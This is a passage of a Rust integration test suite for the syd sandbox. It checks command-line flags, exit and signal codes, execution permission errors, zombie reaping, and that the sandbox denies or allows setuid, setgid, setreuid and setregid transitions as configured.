    test_entry!(test_syd_pid_thread_deny),
    test_entry!(test_syd_pid_fork_bomb),
    test_entry!(test_syd_pid_fork_bomb_asm),
    test_entry!(test_syd_pid_thread_bomb),
    test_entry!(test_syd_mem_alloc),
    test_entry!(test_syd_exp_mem_stress_ng_malloc_1),
    test_entry!(test_syd_exp_mem_stress_ng_malloc_2),
    test_entry!(test_syd_exp_mem_stress_ng_mmap),
    test_entry!(test_syd_exp_pid_stress_ng_kill),
    test_entry!(test_syd_exp_pid_stress_ng_allow),
    test_entry!(test_syd_exp_pid_stress_ng_fork),
    test_entry!(test_syd_exp_syscall_fuzz_bare),
    test_entry!(test_syd_exp_syscall_fuzz_wrap),
    test_entry!(test_syd_tor_recv4_one),
    test_entry!(test_syd_tor_recv6_one),
    test_entry!(test_syd_tor_send4_one),
    test_entry!(test_syd_tor_send6_one),
    test_entry!(test_syd_tor_send4_many_seq),
    test_entry!(test_syd_tor_send6_many_seq),
    test_entry!(test_syd_tor_send4_many_par),
    test_entry!(test_syd_tor_send6_many_par),
    //TODO:test_entry!(test_syd_tor_bench), // use wrk
    //TODO:test_entry!(test_syd_tor_proxy), // use haproxy/nginx+wrk
];

// Tests if syd -V and --version works.
fn test_syd_version() -> TestResult {
    let status = syd().arg("-V").status().expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .arg("--version")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E works.
fn test_syd_export_syntax() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .arg("-Ebpf")
        .stderr(Stdio::null())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-Epfc")
        .stderr(Stdio::null())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-EBPF")
        .stderr(Stdio::null())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-EPFC")
        .stderr(Stdio::null())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-EbPf")
        .stderr(Stdio::null())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-EPfc")
        .stderr(Stdio::null())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-Eb")
        .stderr(Stdio::null())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .arg("-Ef")
        .stderr(Stdio::null())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if syd -E outputs parent rules.
fn test_syd_export_sanity_parent() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd parent rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs socket rules.
fn test_syd_export_sanity_socket() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd socket rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs waiter rules.
fn test_syd_export_sanity_waiter() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd waiter rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs process rules.
fn test_syd_export_sanity_process() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd process rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs monitor rules.
fn test_syd_export_sanity_monitor() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd monitor rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if `true` returns success under sandbox.
fn test_syd_true_returns_success() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("exit", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `syd` returns success for a sandbox running many processes,
// in case the execve child returns success.
fn test_syd_true_returns_success_with_many_processes() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("fork", ["0", "8"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `syd` returns success for a sandbox running many threads,
// in case the execve child returns success.
fn test_syd_true_returns_success_with_many_threads() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("thread", ["0", "8"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `false` returns failure under sandbox.
fn test_syd_false_returns_failure() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .argv(["false"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .argv(["false"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `syd` returns failure for a sandbox running many processes,
// in case the execve child returns failure.
fn test_syd_true_returns_failure_with_many_processes() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("fork", ["7", "8"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 7);
    Ok(())
}

// Tests if `syd` returns failure for a sandbox running many threads,
// in case the execve child returns failure.
fn test_syd_true_returns_failure_with_many_threads() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("thread", ["7", "8"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 7);
    Ok(())
}

fn test_syd_empty_file_returns_enoexec() -> TestResult {
    // Step 1: Create a file that's empty called "empty"
    let path = Path::new("empty");
    let file = File::create(path)?;

    // Set permissions to executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o755); // -rwxr-xr-x
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./empty"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOEXEC);

    Ok(())
}

fn test_syd_non_executable_file_returns_eacces_empty() -> TestResult {
    // Create a file that's non-executable called "non-executable"
    let path = Path::new("non-executable");
    let file = File::create(path)?;

    // Set permissions to non-executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o644); // -rw-r--r--
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./non-executable"])
        .status()
        .expect("execute syd");
    // empty & non-executable file must return EACCES not ENOEXEC!
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_non_executable_file_returns_eacces_binary() -> TestResult {
    // Create a file that's non-executable called "non-executable"
    let path = Path::new("non-executable");
    let mut file = File::create(path)?;

    writeln!(
        file,
        "Heavy is the root of light. Still is the master of moving."
    )?;

    // Set permissions to non-executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o644); // -rw-r--r--
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./non-executable"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_non_executable_file_returns_eacces_script() -> TestResult {
    // Create a file that's non-executable called "non-executable"
    let path = Path::new("non-executable");
    let mut file = File::create(path)?;

    writeln!(file, "#!/bin/sh\nexit 42")?;

    // Set permissions to non-executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o644); // -rw-r--r--
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./non-executable"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_sigint_returns_130() -> TestResult {
    skip_unless_available!("kill", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(r#"exec kill -INT $$"#)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 130);

    Ok(())
}

fn test_syd_sigabrt_returns_134() -> TestResult {
    skip_unless_available!("kill", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(r#"exec kill -ABRT $$"#)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 134);

    Ok(())
}

fn test_syd_sigkill_returns_137() -> TestResult {
    skip_unless_available!("kill", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(r#"exec kill -KILL $$"#)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 137);

    Ok(())
}

fn test_syd_reap_zombies_bare() -> TestResult {
    skip_unless_available!("bash", "sleep");

    let status = syd()
        .p("off")
        .argv(["bash", "-cex"])
        .arg(
            r#"
for i in {1..10}; do
    ( sleep $i ) &
done
disown
exit 42
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    Ok(())
}

fn test_syd_reap_zombies_wrap() -> TestResult {
    skip_unless_available!("bash");
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .argv(["bash", "-c"])
        .arg(
            r#"
set -e
for i in {1..10}; do
    ( sleep $i ) &
done
echo >&2 "Spawned 10 processes in the background."
echo >&2 "Disowning and exiting..."
disown
exit 42
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    Ok(())
}

// Tests if `whoami` returns `root` with `root/fake:1`
fn test_syd_whoami_returns_root_fake() -> TestResult {
    let status = syd()
        .p("off")
        .m("root/fake:1")
        .do_("getuid", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `whoami` returns `root` with `root/map:1`
fn test_syd_whoami_returns_root_user() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .m("root/map:1")
        .do_("getuid", ["0"])
        .stderr(Stdio::inherit())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setuid_nobody_default() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setuid", ["65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setuid_nobody_safesetid_deny() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: See the comment to test setuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setuid", ["65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setuid_root_safesetid_deny() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setuid success.

    // SAFETY: Compared to the test setuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setuid", ["1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setuid_nobody_safesetid_allow() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setuid", ["65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setgid_nobody_default() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setgid", ["65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setgid_nobody_safesetid_deny() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setgid", ["65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setgid_root_safesetid_deny() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setgid success.

    // SAFETY: Compared to the test setgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setgid", ["1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setgid_nobody_safesetid_allow() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setgid", ["65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setreuid_nobody_default_1() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setreuid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setreuid_nobody_default_2() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setreuid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setreuid_nobody_default_3() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setreuid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_deny_1() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setreuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_deny_2() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setreuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_deny_3() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setreuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setreuid_root_safesetid_deny_1() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setreuid success.

    // SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setreuid_root_safesetid_deny_2() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setreuid success.

    // SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setreuid_root_safesetid_deny_3() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setreuid success.

    // SAFETY: Compared to the test setreuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_allow_1() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setreuid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_allow_2() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setreuid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setreuid_nobody_safesetid_allow_3() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setreuid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setregid_nobody_default_1() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setregid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setregid_nobody_default_2() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setregid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setregid_nobody_default_3() -> TestResult {
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setregid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_deny_1() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setregid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
